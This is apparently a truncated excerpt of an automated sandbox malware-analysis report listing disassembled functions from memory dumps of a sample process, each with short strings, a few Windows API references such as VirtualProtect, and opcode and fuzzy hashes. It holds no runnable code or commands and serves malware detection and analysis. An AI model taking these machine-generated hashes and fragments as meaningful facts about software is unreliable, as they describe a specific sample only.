Function 05ACFA20 Relevance: 2.8, Strings: 2, Instructions: 289
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 05ACFCD2
4'^q, xrefs: 05ACFD00

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: e15d469f16025603b6279ce5e3eed1feb445fcdcf198c5afea412a682cb88319
Instruction ID: 3ed919afd3b3b19ba4473961bac1d0078c40aa088519fe40ee4df8fc7264549f
Opcode Fuzzy Hash: e15d469f16025603b6279ce5e3eed1feb445fcdcf198c5afea412a682cb88319
Instruction Fuzzy Hash: 53C18874B00218DFCB04DFA4D994E9DBBB2BF89304F514199E516AB3A5DB71EC42CB50

Function 05ACFA10 Relevance: 2.8, Strings: 2, Instructions: 271
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 05ACFCD2
4'^q, xrefs: 05ACFD00

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 37c47a16de15df30f8649f03e5b9b8b723ce498b394c3e13f4f8749fda2133fb
Instruction ID: 971617c65412389194cd5262b1a58f0aad5809efc935a99047d2312e2153256b
Opcode Fuzzy Hash: 37c47a16de15df30f8649f03e5b9b8b723ce498b394c3e13f4f8749fda2133fb
Instruction Fuzzy Hash: C4B19974B00218DFCB08DFA4D994EADBBB2BF89304F5041A9D516AB3A5DB71ED42CB50

Function 05AC2E68 Relevance: 2.7, Strings: 2, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(bq, xrefs: 05AC2F6E
Hbq, xrefs: 05AC2FFD

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: fc66678d2946c07a75706941c16f43ad7299f120dcff929c1282f938dbb8a16c
Instruction ID: 6a84dd2a2626eced8b7cdca2212413da52e2002ea02b83e7409b58114a4278a0
Opcode Fuzzy Hash: fc66678d2946c07a75706941c16f43ad7299f120dcff929c1282f938dbb8a16c
Instruction Fuzzy Hash: 5D5167387002148FC719EF28C464A6EBBB6FFC920176545ACE9469B3A1CF35EC06CB91

Function 05AEF790 Relevance: 2.6, Strings: 2, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 05AEF8E4
(bq, xrefs: 05AEF8B8

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: 323fcb183068d6845f475dd82c39cc85cc35c639639ed8af254889281edf4efa
Instruction ID: f22ebef8b32294ff9ece781338b4d384b9cd2ac99e11bb47df82bd6cfca0facf
Opcode Fuzzy Hash: 323fcb183068d6845f475dd82c39cc85cc35c639639ed8af254889281edf4efa
Instruction Fuzzy Hash: 0A41DF352047408FD325DF2AC590B5ABFF2FF84310F148A69D4968B7A5DB74E889CB91

Function 05AC91E2 Relevance: 2.6, Strings: 2, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'^q, xrefs: 05AC928C
pbq, xrefs: 05AC935F

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: 4'^q$pbq
API String ID: 0-3872760177
Opcode ID: b5bf8c13b524c16814dc9854023879acfdfd63afaefd36df2698b669876453ae
Instruction ID: 85c8863ad3b851d7e5014edda892e0bdd1c7274b21c3c6f27b9f550bc3e4e117
Opcode Fuzzy Hash: b5bf8c13b524c16814dc9854023879acfdfd63afaefd36df2698b669876453ae
Instruction Fuzzy Hash: C341AF31A403059FC715DB68C990BAFBBF7EF88304F14896CC0499B3A9DB71E94687A1

Function 05ACB8E8 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

Hbq, xrefs: 05ACB963
(bq, xrefs: 05ACB937

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (bq$Hbq
API String ID: 0-4081012451
Opcode ID: a38bbb0568fbc5a3d02a3932a361cd385b1f3b04baa0d412a717476511a802ee
Instruction ID: f2d66701d80823084699d78453f707ff0ff02874605aa41f7b3c076b93d4e4ad
Opcode Fuzzy Hash: a38bbb0568fbc5a3d02a3932a361cd385b1f3b04baa0d412a717476511a802ee
Instruction Fuzzy Hash: 412100313082444FC705EB69C940AAEBFE6EBC9300B2441BAD405CF3A1DE35ED068791

Function 05EC38B9 Relevance: 2.2, Strings: 1, Instructions: 936COMMON

Download Yara Rule

Strings

$, xrefs: 05ECE6EF

Memory Dump Source

Source File: 00000009.00000002.2501415874.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ec0000_zudFSfy.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-1178188002
Opcode ID: 528965ed671be7256e956ed2938e71907978b0b52d7c9b30ae625352e95808d6
Instruction ID: 36a0272bf0d1b886161b0fac4777cba755a7c3c7a954502d98cce2a04101a5d0
Opcode Fuzzy Hash: 528965ed671be7256e956ed2938e71907978b0b52d7c9b30ae625352e95808d6
Instruction Fuzzy Hash: F1725DB8A552289FCB54DF24DCA5AADBBB1EF86301F9041E9D44DAB350DE316E81CF04

Function 05AD98B3 Relevance: 2.0, APIs: 1, Instructions: 539COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000), ref: 05AD9C9E

Memory Dump Source

Source File: 00000009.00000002.2499594892.0000000005AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ad0000_zudFSfy.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7771e8582f34a4b27840f6ab11e457186d638cf06b486fc8a937f81f44475676
Instruction ID: bb2b71952aaef36937d700a8b008c074f09204cc157875f8ea0c216dd8288ec1
Opcode Fuzzy Hash: 7771e8582f34a4b27840f6ab11e457186d638cf06b486fc8a937f81f44475676
Instruction Fuzzy Hash: E92144B58043898FDB20DFA9C449BDEBFF0AB09314F24845AD45AA7350C778A584CFA1

Function 05AC4480 Relevance: 1.8, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

(_^q, xrefs: 05AC4710

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (_^q
API String ID: 0-538443824
Opcode ID: 32d4d35ef7a59a1b34802d97910a5c96348c3e7d3db23b51cb608059b2bb19f7
Instruction ID: 1b12c360a57596a5811a365d2e16fa4b8f6050785c67dffa3bc50531e9779afb
Opcode Fuzzy Hash: 32d4d35ef7a59a1b34802d97910a5c96348c3e7d3db23b51cb608059b2bb19f7
Instruction Fuzzy Hash: EF225B39B002049FDB14DF64D5A4AA9BBF2FF88311F1581A9E9069F3A5CA71EC41CB54

Function 05ACB10C Relevance: 1.6, Strings: 1, Instructions: 317COMMON

Download Yara Rule

Strings

,bq, xrefs: 05ACAE59

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: ,bq
API String ID: 0-2474004448
Opcode ID: 59c9a9101acb65dafbbe298c149d2b99764637db7d1b1d6fb9224579b81743f3
Instruction ID: 424e7d0409f19e2d7eefe385a48c5ab1e8ec6d91c6cff878adea40d9ce41994b
Opcode Fuzzy Hash: 59c9a9101acb65dafbbe298c149d2b99764637db7d1b1d6fb9224579b81743f3
Instruction Fuzzy Hash: 20E1D275A042288FCB64CF69C981BEDBBF2BB88300F5541D9E549AB351DB309E81CF61

Function 031D9FB0 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 031DA024

Memory Dump Source

Source File: 00000009.00000002.2486282890.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_31d0000_zudFSfy.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a13e9e3b5cd806dd2b99376c3f46245802d911f59f08dc91ffff7bdba05b11f0
Instruction ID: aea78965dc4214dc0f4650f74629ca813b1f5b808b6dd1fd91a9633104fa0d6d
Opcode Fuzzy Hash: a13e9e3b5cd806dd2b99376c3f46245802d911f59f08dc91ffff7bdba05b11f0
Instruction Fuzzy Hash: 861106B1D002499FCB10DFAAC484AEEFBF4FF48324F14842AD459A7250C775A944CFA5

Function 05AD9C50 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000000), ref: 05AD9C9E

Memory Dump Source

Source File: 00000009.00000002.2499594892.0000000005AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ad0000_zudFSfy.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 8539ff68f840ec814f95149288e7fe6f073d01db6470fb22dae6969430ea4e23
Instruction ID: 3a27a0161798a5be5b06257127e980b46825f5f4b276fac2709e329657d9f1f7
Opcode Fuzzy Hash: 8539ff68f840ec814f95149288e7fe6f073d01db6470fb22dae6969430ea4e23
Instruction Fuzzy Hash: 092130B48003598FDB20DF9AC049BDEFFF4AB08318F24841AE55AA7350C779A584CFA1

Function 05ACE5C8 Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

(bq, xrefs: 05ACE87C

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 1d8807b91aafeb7e5c67d03751bee267858aae34a9dfbf0d640fdf67d2fb953e
Instruction ID: 1837373dd15bee6009da256c7cb45623a21f7c95d8180cb70dd3ace501def349
Opcode Fuzzy Hash: 1d8807b91aafeb7e5c67d03751bee267858aae34a9dfbf0d640fdf67d2fb953e
Instruction Fuzzy Hash: 6CA18C35304204DFD71A9F68D954E2A7FB6FF89310F1580A9E1568B3A2CB36EC42DB51

Function 05AE4BE1 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

Deq, xrefs: 05AE4C85

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: 75fd989ad732829252e7adf8f32341d4e856265eb28a77d657578ab96fb82b70
Instruction ID: 90215c6338e433e0e5d271d7810085b400455a027e57e8bee12249014e2b4821
Opcode Fuzzy Hash: 75fd989ad732829252e7adf8f32341d4e856265eb28a77d657578ab96fb82b70
Instruction Fuzzy Hash: 09A19D34B002149FCB14DF29D694E6ABBFAFF89710F1585A9E4459B3A1DB36EC01CB90

Function 05AC4C08 Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

Pl^q, xrefs: 05AC4DF0

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: Pl^q
API String ID: 0-2831078282
Opcode ID: fcfd85f845216ff975a9545d1530be4bcebe8b9f1ea480e0ad76173c1d443fa8
Instruction ID: a205654e764d25b8c61636af73ac39e321c4cca2809bb83f235fc3daf2026338
Opcode Fuzzy Hash: fcfd85f845216ff975a9545d1530be4bcebe8b9f1ea480e0ad76173c1d443fa8
Instruction Fuzzy Hash: 47912234B402188FCB15DF28C494EAA7BF6BF89711B1540A9E516CB3B5DB71EC42CBA1

Function 05AC9BF2 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05AC9E1A

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: f7dfa1741070cf656dacff884a32283068eddaec3efc5a9f2c19bc093d76ccb7
Instruction ID: c4f5f637f105b393d1e50e80dcf1dd4403de2f1a1775d64c69fd69b93288c6d1
Opcode Fuzzy Hash: f7dfa1741070cf656dacff884a32283068eddaec3efc5a9f2c19bc093d76ccb7
Instruction Fuzzy Hash: 0BA1AC34B14218DFCB04DFA4D998E9EBBB2FF89301F558199E406AB365DB71AC42CB50

Function 05AE4BF0 Relevance: 1.4, Strings: 1, Instructions: 162COMMON

Download Yara Rule

Strings

Deq, xrefs: 05AE4C85

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: b5805a2ce45f02251ef4d730c1cecf36b22aa407acebc1478adb047a87fc0ef2
Instruction ID: d42dccd21ed79ae6dda113522e38f691254c9319ed9d5edf19f256edb2bc8e32
Opcode Fuzzy Hash: b5805a2ce45f02251ef4d730c1cecf36b22aa407acebc1478adb047a87fc0ef2
Instruction Fuzzy Hash: 1B615A34A006009FCB14DF29D694DA9BBFAFF88710B1586A9D416AB3A1DB31EC41CF90

Function 05AEED80 Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

pbq, xrefs: 05AEEE30

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID: pbq
API String ID: 0-3896149868
Opcode ID: 0034d172f4959a8d4dfde3023abdc50878d6aeb2376fc42b78ca367b35f2c681
Instruction ID: 0424ba5d926e56915b2375e35aafba730da538fe598bc163b4a33be18a2457fa
Opcode Fuzzy Hash: 0034d172f4959a8d4dfde3023abdc50878d6aeb2376fc42b78ca367b35f2c681
Instruction Fuzzy Hash: 06514C76600104AFCB459FA8C954D69BBF7FF8C31471A84D8E2099B376DA32DC22EB50

Function 05AEA139 Relevance: 1.4, Strings: 1, Instructions: 147COMMON

Download Yara Rule

Strings

Te^q, xrefs: 05AEA1BB

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 62745574dae101b6c5a0e6becc696980a5dc3dc17608bb822ae5f4e2b6c8f43f
Instruction ID: 11cfe4c0128ae073ba1508929dadb2ba460e183a1b10d447a8714e0d149bfef7
Opcode Fuzzy Hash: 62745574dae101b6c5a0e6becc696980a5dc3dc17608bb822ae5f4e2b6c8f43f
Instruction Fuzzy Hash: CE519930B04101CFEB18CB19D94CFAA73E7FBC8315F59906AD1069BAA4CB7A9C81CB55

Function 05ACD704 Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05ACD74A

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 65b4f24e6101d0e66c44be478a41e00f5219d3d6760aa07e3e073c63cf181a84
Instruction ID: 36cd8ee13c456f3946aeecc31dd90f708bfc459bcb2ad788840fac4de53ac93e
Opcode Fuzzy Hash: 65b4f24e6101d0e66c44be478a41e00f5219d3d6760aa07e3e073c63cf181a84
Instruction Fuzzy Hash: 5F414134B106148FCB05EB68D598AAEBBB7AFC8700F1045ADD4079B394DF74AC46CB91

Function 05AEFD90 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

(bq, xrefs: 05AEFDA4

Memory Dump Source

Source File: 00000009.00000002.2499654332.0000000005AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ae0000_zudFSfy.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 8de7fd3e47c21115d9a2de20043115c2d69ffd6292ab610a56cacc53a8b0e5d2
Instruction ID: 97ea7063d9ec716bf4d118424d9bbf325e44394983f02e6b283f0f6d208e6105
Opcode Fuzzy Hash: 8de7fd3e47c21115d9a2de20043115c2d69ffd6292ab610a56cacc53a8b0e5d2
Instruction Fuzzy Hash: 14418D35B006168FCB10DF18C484E6AFBB2FF89320B558695E92A9B381D730F952CBD0

Function 05AC907A Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05AC90C1

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: eead5744efe8ae51635506703059921295150d84a2269c0c835e22a66940e260
Instruction ID: ac80da3840bba44879dd97ef26ed05a246bb987d6cb15254e2a9be1d32cc6fb0
Opcode Fuzzy Hash: eead5744efe8ae51635506703059921295150d84a2269c0c835e22a66940e260
Instruction Fuzzy Hash: 43218F36B40214DFCF059F94C95999D7BB7FF88310B0540A9E9099B375CA31EC468B90

Function 05AC37D0 Relevance: 1.3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

Strings

p<^q, xrefs: 05AC381A

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: p<^q
API String ID: 0-1680888324
Opcode ID: 68daf96b14ae107eb7237cb8b880e83238497628ae819b7e799296e490df78ea
Instruction ID: 215d5d8e397825db1ebde2f6a89eb370edc61ff40022d8126a1cbf7560dfda4c
Opcode Fuzzy Hash: 68daf96b14ae107eb7237cb8b880e83238497628ae819b7e799296e490df78ea
Instruction Fuzzy Hash: C12149313041549FCB15CF2AC854EAA7FEABF8A210B0984AAF955CB3B1CA35DC51CB60

Function 05AC37E0 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

p<^q, xrefs: 05AC381A

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID: p<^q
API String ID: 0-1680888324
Opcode ID: 6a231b315dddb0191d062cd07901301192ad48c87dd6181f20dde5e8855c09f8
Instruction ID: c529ae1b1ba4e0ee4a8df3ce47cf25f15f3033c0206079ae1a6825699663af68
Opcode Fuzzy Hash: 6a231b315dddb0191d062cd07901301192ad48c87dd6181f20dde5e8855c09f8
Instruction Fuzzy Hash: 8D214C313041549FCF15CF2AC844EAA7FEABF89210B05849AFD55CB3A1CA75DC51DB60

Function 05830B0C Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

4'^q, xrefs: 05831CDE

Memory Dump Source

Source File: 00000009.00000002.2496530948.0000000005830000.00000040.00000800.00020000.00000000.sdmp, Offset: 05830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5830000_zudFSfy.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: c66c5c1e6b515d4dce1d17b9b63b6c3e936893ad514ed330fd044d043b9c14a0
Instruction ID: 8b674f62c7594f75ec4f344fefae626b2043e408457e5e49b0294f2f8531d0cb
Opcode Fuzzy Hash: c66c5c1e6b515d4dce1d17b9b63b6c3e936893ad514ed330fd044d043b9c14a0
Instruction Fuzzy Hash: 0721C335F09314CFDB258B68D81ABAA7BB2FF44B15F04059AED01EB291CB749C41CB91

Function 031DA160 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 031DA1C2

Memory Dump Source

Source File: 00000009.00000002.2486282890.00000000031D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_31d0000_zudFSfy.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5f141137ca1420bd02e53f1204b490a56f6e7b2e844dd808d9b68f4c68c2b3ac
Instruction ID: b6f312893ced75228424c33f094877ef338245cc26155eb38176d7ffe8cc7b8d
Opcode Fuzzy Hash: 5f141137ca1420bd02e53f1204b490a56f6e7b2e844dd808d9b68f4c68c2b3ac
Instruction Fuzzy Hash: 9E1136B19002588FCB20DFAAC4457EEFBF4EF89324F248429D459A7250CB79A944CFA4

Function 05ACD950 Relevance: .4, Instructions: 437COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe7b4d934f4812879b75b54a5bc936f9251b8994a36eb199d5d82e82b94cd959
Instruction ID: 15bd69bc5fe236b81027d10c72f0ada9e3979f6fde80a92178c01a7a84c5547d
Opcode Fuzzy Hash: fe7b4d934f4812879b75b54a5bc936f9251b8994a36eb199d5d82e82b94cd959
Instruction Fuzzy Hash: 5B12E834B102198FCB14EF64C994AADBBB2BF89300F5185E8D54AAB355DF70ED86CB50

Function 05ACD940 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d38fd59f499609a4a2dc47eb4488c74f0a77e4b6f1bd574dd7d12db7ae2560a
Instruction ID: bbab05c5ff3babddbe564b784a89c2d75aa0f72202be5d21c7bb0170d390e02f
Opcode Fuzzy Hash: 7d38fd59f499609a4a2dc47eb4488c74f0a77e4b6f1bd574dd7d12db7ae2560a
Instruction Fuzzy Hash: 3FA1C734B042188FDB14DF24C994BA9BBB2BF89300F5485E8E54AAB365DF70ED85CB40

Function 05AC5909 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2745bdae34114153bbb91e504a92af2ce217e3b67c22135937b33f7623a80c7a
Instruction ID: 2e1756047765ba82812907c82e2482e11f49bc0d4b75eaea097a1500dcd8c749
Opcode Fuzzy Hash: 2745bdae34114153bbb91e504a92af2ce217e3b67c22135937b33f7623a80c7a
Instruction Fuzzy Hash: 0E91F435A006188FCB14DF69C584D9ABBF6FF89310B1585A9E8169B361EB30ED42CB90

Function 05AC3903 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c10a57e155e0c780b9f58569820c5d95318aafb1208b77dadd7be5768cfb14
Instruction ID: 6567fc3da6c4a1b0510ed591e9a8b206afd12bf7fc4e669e355e648cd307d7fd
Opcode Fuzzy Hash: d7c10a57e155e0c780b9f58569820c5d95318aafb1208b77dadd7be5768cfb14
Instruction Fuzzy Hash: ACA13D30E045298FCF25CFA5D944AFEBFB1FB48300F148499E821B7294DB399A46CB90

Function 05ACE8E8 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dbe0fe5154c487ba68ad10cfa5cb573e8d659a5f66377b2729dc51bfc1c9ebe
Instruction ID: a05644316136823e88c968088888204843038f00546b875fb042287ab5807094
Opcode Fuzzy Hash: 4dbe0fe5154c487ba68ad10cfa5cb573e8d659a5f66377b2729dc51bfc1c9ebe
Instruction Fuzzy Hash: 8F813930710214DFCB05EF68D598E6EBBB6BF88711F1481A9E5169B3A5CB70EC41CB90

Function 05AC0040 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 791509e1f8eb4ddf2364d70fb856b10dc5728702e2aca4a2d24f87e2df3b5eb2
Instruction ID: 2b7c5f6b9da406072da127d182aee5a06adf95f9a6370b2a0a736181d16935af
Opcode Fuzzy Hash: 791509e1f8eb4ddf2364d70fb856b10dc5728702e2aca4a2d24f87e2df3b5eb2
Instruction Fuzzy Hash: 04814539B05205DFDB04CFA4D959AADBBF6BB88311F1480A9E922AB390DB35DD41CB50

Function 05ACE8D8 Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85d8406ed3b21edb2bc23f761cb0ffd5f49c02dd6cdcd34032f5a24512860eec
Instruction ID: e3a35ee7c4035595138b30f9657727880fec123d3b156cef1ee9a5ce92d5a93a
Opcode Fuzzy Hash: 85d8406ed3b21edb2bc23f761cb0ffd5f49c02dd6cdcd34032f5a24512860eec
Instruction Fuzzy Hash: 8961F734B10614DFCB05EF68D998EADBBB6BF88711F1481A9E5169B365CB30EC41CB90

Function 05AC02F8 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2499483568.0000000005AC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05AC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_5ac0000_zudFSfy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9bc026bbdcdd27df69f48de038663713ff7a0790d0febfe4a9da0597d92733
